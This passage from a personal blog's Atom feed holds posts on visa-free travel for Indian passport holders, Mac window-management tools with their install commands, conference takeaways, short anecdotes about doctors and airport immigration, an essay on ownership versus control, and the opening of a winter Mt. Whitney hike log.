href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><id>https://ashishb.net/travel/traveling-on-indian-passport/</id><author><name>Ashish Bhatia</name></author><published>2015-10-16T02:17:31+00:00</published><updated>2015-10-16T02:17:31+00:00</updated><content type="html"><![CDATA[<blockquote>Discover travel destinations accessible with an Indian passport and visas. Explore the interactive map with layers for Schengen, UK, and USA visa holders.</blockquote><p>An interactive map of where all one can easily travel an 
<a href="/travel/why-indian-passport-remains-weak/">Indian passport</a>.
I have added separate layers for those of you who have a 
<a href="/tag/europe/">Schengen</a>, a 
<a href="/travel/london">UK</a>, or a USA visa.</p>
<iframe loading="lazy"
        src="https://www.google.com/maps/d/embed?mid=1C7aXW81NVGUcBqQuzr7U6vxrIFU"
        width="900"
        height="480">
</iframe>

<p>Short link:   
    
    
<a href="https://bitly.com/visa-indians?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bitly.com/visa-indians</a></p>
<p>Data Sources:</p>
<ul>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Visa_requirements_for_Indian_citizens?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wikipedia</a></li>
<li>  
    
    
<a href="https://docs.google.com/spreadsheet/ccc?key=0AjBpTy0j1SnbdDhXM0dEd2g2MzJGSW9YaWhfYmpMN3c#gid=0&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Another sheet</a></li>
<li>  
    
    
<a href="https://www.imidaily.com/analysis/how-to-gain-more-travel-freedom-without-a-new-passport/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Travel freedom via residencies</a></li>
</ul>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/></entry><entry><title type="html">Mac OS X Primer (Part 3) - Window Management</title><link href="https://ashishb.net/programming/mac-os-x-primer-part-3-window-management/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/mac-os-app-translocation-and-android-studio-updates-failure/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS: App Translocation and Android Studio updates failure"/><link href="https://ashishb.net/programming/diagnosing-mac-apps-which-wont-open-error-10810/?utm_source=atom_feed" rel="related" type="text/html" title="Diagnosing Mac apps which won't open (error -10810)"/><link href="https://ashishb.net/programming/mac-os-x-primer-part-2-migrating-from-gnulinux-to-mac-for-software-engineers/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS X Primer (Part 2): GNU/Linux -> Mac for software engineers"/><link href="https://ashishb.net/programming/mac-101-migrating-from-gnulinux-to-mac-for-software-engineers/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS X Primer: GNU/Linux -> Mac for software engineers"/><link href="https://ashishb.net/programming/android-command-line-gradle-and-testing/?utm_source=atom_feed" rel="related" type="text/html" title="Android command-line: gradle and testing"/><id>https://ashishb.net/programming/mac-os-x-primer-part-3-window-management/</id><author><name>Ashish Bhatia</name></author><published>2015-08-23T17:00:38+00:00</published><updated>2015-08-23T17:00:38+00:00</updated><content type="html"><![CDATA[<blockquote>Improve your Mac window management with Better Touch Tool and Rectangle. Customize gestures, shortcuts, and screen positioning to enhance productivity effortlessly.</blockquote><p>Default window management scheme in Mac OS X is not well-polished. For example, till Mac OS 14.6, there is no way to make an application occupy left half of the screen or to make an application always stay on top. To improve on that, my personal setup includes following applications.</p>
<ol>
<li>
<p>  
    
    
<a href="https://www.bettertouchtool.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Better Touch Tool</a> - At the most basic level, it provides &ldquo;Window snapping&rdquo; feature, drag the window to top-left and it expands to full screen. It allows full control of gestures and keyboard shortcuts. My personal setup includes &ldquo;cmd + option + Tab&rdquo; to switch between active windows of the same application. It is available via 
<a href="/tech/mac-101-migrating-from-gnulinux-to-mac-for-software-engineers/">homebrew cask</a>.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>brew cask install bettertouchtool</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
</ol>
<p>1.  
    
    
<a href="https://rectangleapp.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rectangle</a> - Rectangle allows quick resizing and shifting of windows. For example, Cmd + option + right/top/left/down arrow key will make the currently focused application occupy right/top/left/bottom half of the screen, respectively.   
    
    
<a href="https://github.com/ianyh/Amethyst?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Amethyst</a>,   
    
    
<a href="https://mizage.com/divvy/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Divvy</a> or   
    
    
<a href="https://manytricks.com/moom/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Moom</a> are popular alternatives to Rectangle, an even bigger list can be seen   
    
    
<a href="https://www.slant.co/topics/526/~what-is-the-best-window-manager-for-mac?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>. Rectangle is available via homebrew as well.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>brew cask install rectangle</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>As of macOS 11, Afloat is hard to set up and I no longer recommend it.</p>
<ol>
<li>
<p>Afloat - To keep a window floating on top of other windows. Unfortunately, setting this up is a bit convoluted and is not guaranteed to work. Following approach worked for me.
This approach is based on findings of   
    
    
<a href="https://www.perfectlyrandom.org/2015/01/31/always-on-top-in-macos-yosemite/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ankur Gupta</a> and   
    
    
<a href="https://github.com/norio-nomura/EasySIMBL/issues/25#issuecomment-120697440?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Norio Nomura</a>.</p>
<ol>
<li>
<p>Install SIMBL</p>
<ol>
<li>Download   
    
    
<a href="https://www.culater.net/software/SIMBL/SIMBL.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">SIMBL 0.9.9</a>.</li>
<li>Extract the downloaded archive and run the <code>.pkg</code> installer file. You may need to go to <code>System Preferences &gt; Security &amp; Privacy</code> to allow running the installer.</li>
<li>Finish installation of SIMBL.</li>
</ol>
</li>
<li>
<p>Clone the Afloat repository and build it.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/rinckd/afloat
</span></span><span style="display:flex;"><span><span style="color:#b58900">cd</span> afloat
</span></span><span style="display:flex;"><span>xcodebuild <span style="color:#268bd2">GCC_ENABLE_OBJC_GC</span><span style="color:#719e07">=</span>unsupported -configuration Release
</span></span><span style="display:flex;"><span>cp -r build/Release/Afloat.bundle* /Library/Application Support/SIMBL/Plugins/</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Use an Applescript to start afloat automatically on start as described   
    
    
<a href="https://github.com/norio-nomura/EasySIMBL/issues/25#issuecomment-120697440?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</p>
</li>
<li>
<p>afloat will work for all the apps started <em>after</em> afloat has been injected.</p>
</li>
</ol>
</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/macos" term="macos" label="macos"/></entry><entry><title type="html">Learnings from IIT Global Leaders Conference (IITGLC) 2015</title><link href="https://ashishb.net/misc/learnings-from-iit-global-leaders-conference-iitglc-2015/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/ownership-vs-control/?utm_source=atom_feed" rel="related" type="text/html" title="Ownership vs Control"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><link href="https://ashishb.net/misc/statistical-outcomes-require-statistical-games/?utm_source=atom_feed" rel="related" type="text/html" title="Statistical outcomes require statistical games"/><link href="https://ashishb.net/misc/status-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Status Symbol"/><id>https://ashishb.net/misc/learnings-from-iit-global-leaders-conference-iitglc-2015/</id><author><name>Ashish Bhatia</name></author><published>2015-07-25T07:09:47+00:00</published><updated>2015-07-25T07:09:47+00:00</updated><content type="html"><![CDATA[<blockquote>Some notes on my trip to IIT Global Leadership Summit 2015</blockquote><h2 id="day-1">Day 1</h2>
<ol>
<li>Great leaders are great because they handle challenges and setbacks well - John Chambers, CEO, Cisco</li>
<li>Real education is like building a house - you set a good foundation first and then you build the house, floor by floor. Traditional education forces everyone to move at the same uniform speed and does not do justice to learning - Sal Khan, Khan Academy</li>
<li>It is important to have a growth mindset (anything can be learned) as opposed to a fixed mindset (eg. I am good at X and Y but not A and B) - Sal Khan, Khan Academy</li>
<li>Choice of narrative always triumphs over the choice of selection in the long run - Amit Agrawal,  Head, Amazon India</li>
<li>Hard things like entrepreneurship should not be tried half-heartedly since anything less than a full-fledged effort is going to go nowhere - entrepreneurship panel</li>
<li>Keeping emotional highs and lows in check is critical to success - entrepreneurship panel</li>
<li>Good mentorship is valuable, relationships are more important than results and an idea without data backing it up is not worth talking about- Patrick Gelsinger, CEO, VMWare</li>
<li>Both Andy Grove and Larry Ellison are amazing but ruthless people to work with  - my observation based on talks (and in-person conversations) of (with) a few people who worked with them.</li>
</ol>
<h2 id="day-2">Day 2</h2>
<ol>
<li>You start a company not to compete with others but for a mission to make the world better - Elizabeth Holmes, CEO, Theranos.</li>
<li>Don&rsquo;t just think about what you are doing, also, consciously think about what you won&rsquo;t be doing, there is always an opportunity cost of doing something.
Most people don&rsquo;t like risk, therefore, most won&rsquo;t do anything interesting.
Tech is my religion.
Normal jobs will be gone in 50 years.
Experience is another word for bias, systems with too much of experience are frozen, therefore, innovation happens at the edges.
Have an internal compass, spend time following it, not reacting to what&rsquo;s expected out of you.
Steam engine challenged humans in muscle power, machine learning will challenge them in mind power.
In face of driverless cars, rigid public transport like railroads is a bad idea.
Spend more time doing things which can not only make a difference but makes you happy as well.   - Vinod Khosla, Khosla Ventures</li>
<li>Lessons in Product Development from Deep Nishar, MD, SoftBank
<ol>
<li>Know thy user
User&rsquo;s use LinkedIn on iPad differently (more at night) compared to LinkedIn (on the desktop), therefore, the iPad app is designed differently than desktop (focuses more on leisure content).</li>
<li>Focus on simplicity
An average human cannot hold more than 7 things in their head at a time.
80% of request for new features which Microsoft gets are already in one of the 35 toolbars but users cannot find them.</li>
<li>Embrace constraints
  
    
    
<a href="https://www.huffingtonpost.com/Menuism/who-put-hazelnuts-in-my-c_b_4338508.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">How nutella was invented</a></li>
<li>Data is your guide but don&rsquo;t fall off the cliff while following it</li>
<li>Innovation is not instant
Multiple lead bullets lead to one silver bullet.
There were productive phones, beautiful phones, easy-to-use phones before the iPhone, except iPhone combined everything into one.</li>
<li>Adapt to changes
Or someone else will win in changing environments.</li>
<li>Expect success
Believe that you will succeed and engineer systems accordingly.</li>
</ol>
</li>
<li>Work and entrepreneurship are a means to an end goal of having a more satisfied life and not end in themselves - Mallika Sarabhai</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/iit" term="iit" label="iit"/></entry><entry><title type="html">American vs Indian doctor</title><link href="https://ashishb.net/short-stories/american-vs-indian-doctor/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/the-clash-of-expectations/?utm_source=atom_feed" rel="related" type="text/html" title="The clash of cultural expectations"/><link href="https://ashishb.net/short-stories/at-a-local-bus-stand-in-mexico/?utm_source=atom_feed" rel="related" type="text/html" title="At a local bus stand in Mexico..."/><link href="https://ashishb.net/short-stories/empty-japan-crowded-tokyo/?utm_source=atom_feed" rel="related" type="text/html" title="Empty Japan, crowded Tokyo"/><link href="https://ashishb.net/short-stories/ceylon-air-force-sanskrit/?utm_source=atom_feed" rel="related" type="text/html" title="Sanskrit and Sri Lankan Air Force"/><link href="https://ashishb.net/short-stories/sri-lanka-juice-stall/?utm_source=atom_feed" rel="related" type="text/html" title="At a juice stall in Sri Lanka"/><id>https://ashishb.net/short-stories/american-vs-indian-doctor/</id><author><name>Ashish Bhatia</name></author><published>2015-06-19T08:07:06+00:00</published><updated>2015-06-19T08:07:06+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the humorous clash of experiences with Indian vs. American doctors over hiccups. From patronizing advice to costly consultations, which approach worked?</blockquote><h2 id="indian-doctor">Indian doctor</h2>
<p>After having continuous hiccups for ~24 hours, I walked to a nearby doctor&rsquo;s clinic.
&quot; <em>Uncle kaafi der se hitchkiyaan  aa rahi hai, iska&hellip;</em>&quot; (I am having hiccups for a long while, can something&hellip;)  [interrupted]
He replies in a loud voice, &quot; <em>Beta, hitchkiyoon ka koi ilaaj nahi hota, kai baar mujhe aati hai</em>&quot; (Son, there is no cure for hiccups, sometimes, I have them for days)
The tone was part patronizing and part condescending.
Total Bill: 0 ₹
Embarrassment quotient: 10/10</p>
<h2 id="american-doctor">American doctor</h2>
<p>After having continuous hiccups for ~24 hours, I drove to Palo Alto Medical Foundation. Checked in for urgent care by showing my insurance coverage and waited for ~30 minutes for my name to be called out. A nurse took me to a weighing machine to measure and record my weight and height. Then she measured my blood pressure. I was wondering if blood tests would be done next, but thankfully she took me to a room and told me to wait for the doctor to arrive. It took another ~15 minutes for him to arrive and my hiccups died in the meanwhile.
&ldquo;So, I am having hiccups for ~24 hours now&rdquo;.
&ldquo;You do not have them right now&rdquo;, he replies in a pleasant voice.
&ldquo;Yeah, it stopped moments before you entered the room, but you know, I can feel it, they will start sometime soon.&rdquo;
&ldquo;You know hiccups just happen, there is no cure for them, you just wait for sometime, and they will stop.&rdquo;
I left, and as expected, hiccups started before I turned on the engine of my car.</p>
<p>A week later, I received the bill.
Total Bill: 200$ (I paid 20$, my employer paid 180$)
Embarrassment quotient: 0/10</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/></entry><entry><title type="html">Ownership vs Control</title><link href="https://ashishb.net/misc/ownership-vs-control/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/learnings-from-iit-global-leaders-conference-iitglc-2015/?utm_source=atom_feed" rel="related" type="text/html" title="Learnings from IIT Global Leaders Conference (IITGLC) 2015"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><link href="https://ashishb.net/misc/statistical-outcomes-require-statistical-games/?utm_source=atom_feed" rel="related" type="text/html" title="Statistical outcomes require statistical games"/><link href="https://ashishb.net/misc/status-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Status Symbol"/><id>https://ashishb.net/misc/ownership-vs-control/</id><author><name>Ashish Bhatia</name></author><published>2015-06-16T08:55:54+00:00</published><updated>2015-06-16T08:55:54+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the true essence of ownership vs control. Learn how to prioritize lasting value over fleeting power in your decisions today.</blockquote><p>Ownership is an innate human desire, except, we make the mistake of confusing it with control.
In the name of ownership, we end controlling things, and then we end up wasting disproportionate
time reasserting our control.</p>
<p>How to differentiate between ownership and control?
A simple rule of thumb is that control can be taken away (or lost) much more easily than  ownership.
As an example, since books can easily be lost or stolen, possessing books is a matter of control,
while possessing knowledge is a matter of ownership. Possessing money is a matter of control,
while possessing skills to earn money is a matter of ownership. Along the same lines,
jewellery is about control while beauty is about ownership, car is about control while
travel experiences are about ownership.</p>
<p>So, next time when there is choice to spend your limited resources namely, time and money,
do wonder whether you are choosing ownership or control.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">The clash of cultural expectations</title><link href="https://ashishb.net/short-stories/the-clash-of-expectations/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="related" type="text/html" title="Doctors per capita"/><link href="https://ashishb.net/short-stories/made-in-america/?utm_source=atom_feed" rel="related" type="text/html" title="Made in America"/><link href="https://ashishb.net/short-stories/price-variance/?utm_source=atom_feed" rel="related" type="text/html" title="Price variance in the United States"/><link href="https://ashishb.net/short-stories/authentically-american/?utm_source=atom_feed" rel="related" type="text/html" title="Authentically American"/><link href="https://ashishb.net/short-stories/a-visit-to-gadar-memorial-in-san-francisco/?utm_source=atom_feed" rel="related" type="text/html" title="A visit to Gadar Memorial in San Francisco"/><id>https://ashishb.net/short-stories/the-clash-of-expectations/</id><author><name>Ashish Bhatia</name></author><published>2015-02-27T07:03:30+00:00</published><updated>2015-02-27T07:03:30+00:00</updated><content type="html"><![CDATA[<blockquote>An Indian woman struggles with limited English at SFO, recalling past incidents of language barriers. Empathy aids resolution. Discover more in this impactful story.</blockquote><p>&ldquo;I need the address.&rdquo;, the immigration official shouted at her, as she, a septuagenarian Indian woman, with her limited English, repeatedly, pointed to the paper containing the phone number of her daughter.</p>
<p>She was ahead of me in the immigration queue and now, was standing at the immigration counter adjacent to mine at SFO airport. After getting my immigration work done, I asked the officer, &ldquo;She seems to be having trouble understanding English, do you mind if I assist her?&rdquo;. &ldquo;Go ahead&rdquo;, replied the officer. &quot; <em>Auntiji, kya hua?</em>&quot; [what happened], I asked.  Embezzled and embarrassed with the harsh treatment, she broke into tears, the officer directed me to take her to secondary screening. We went there and waited for them to make a decision.</p>
<p>She was from the Himalayan city of Shimla, making her third visit to the USA to meet her daughter and son-in-law. I tried repeatedly calling them but they were not reachable. She was traumatized and confused, vowing never to return again. It took less than ten minutes for them to declare that everything is fine and she can proceed but given language, barrier things could have gone rough. We crossed the immigration barrier and she met her daughter.</p>
<p>The incident happened in early 2013 and I almost forgot about it as a one-off thing, till I read about   
    
    
<a href="https://www.washingtonpost.com/news/morning-mix/wp/2015/02/18/alabama-governor-apologizes-to-indian-government-for-police-use-of-force-against-grandfather/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sureshbhai Patel</a>, a sexagenarian Indian with limited English, visiting his son in Alabama left paralyzed by Madison Police. Mr. Patel is paralyzed for life, the officer Eric Parker&rsquo;s career after a brief break is   
    
    
<a href="https://www.al.com/news/huntsville/index.ssf/2016/09/madison_police_officer_eric_pa.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">back</a> on track. A similar incident, worse ending.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/immigration" term="immigration" label="immigration"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/><category scheme="https://ashishb.net/tag/this-american-life" term="this-american-life" label="this-american-life"/></entry><entry><title type="html">Hiking Mt. Whitney in winters</title><link href="https://ashishb.net/travel/mt-whitney/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/lava-beds-national-monument/?utm_source=atom_feed" rel="related" type="text/html" title="Cave Exploration at Lava Beds National Monument"/><link href="https://ashishb.net/travel/yosemite-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Yosemite National Park"/><link href="https://ashishb.net/travel/alaska/?utm_source=atom_feed" rel="related" type="text/html" title="Alaska in 4 days"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><id>https://ashishb.net/travel/mt-whitney/</id><author><name>Ashish Bhatia</name></author><published>2015-02-23T05:11:08+00:00</published><updated>2015-02-23T05:11:08+00:00</updated><content type="html"><![CDATA[<blockquote>Conquer Mt. Whitney in winter! Navigate knee-deep snow and icy trails. Start early, gear up, and don&rsquo;t hike alone. Ready for an epic adventure?</blockquote><figure>
    
    <a href="mt-whitney.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="mt-whitney.jpg"
         alt="Hiking Mt. Whitney during winters" width="900"/> </a>
</figure>

<ol>
<li>Day 1 - Reach the Outpost Camp (3.8 miles, 10.4K ft)</li>
<li>Day 2 -
<ol>
<li>Started at 8 AM</li>
<li>Reached consultation lake at noon</li>
<li>Reached trail crest at 2:20 PM</li>
<li>Reached summit at 6 PM</li>
<li>Returned to Outpost Camp by 11:35 PM</li>
</ol>
</li>
<li>Day 3 - Head back to Whitney Portal</li>
</ol>
<p>Conditions</p>
<ol>
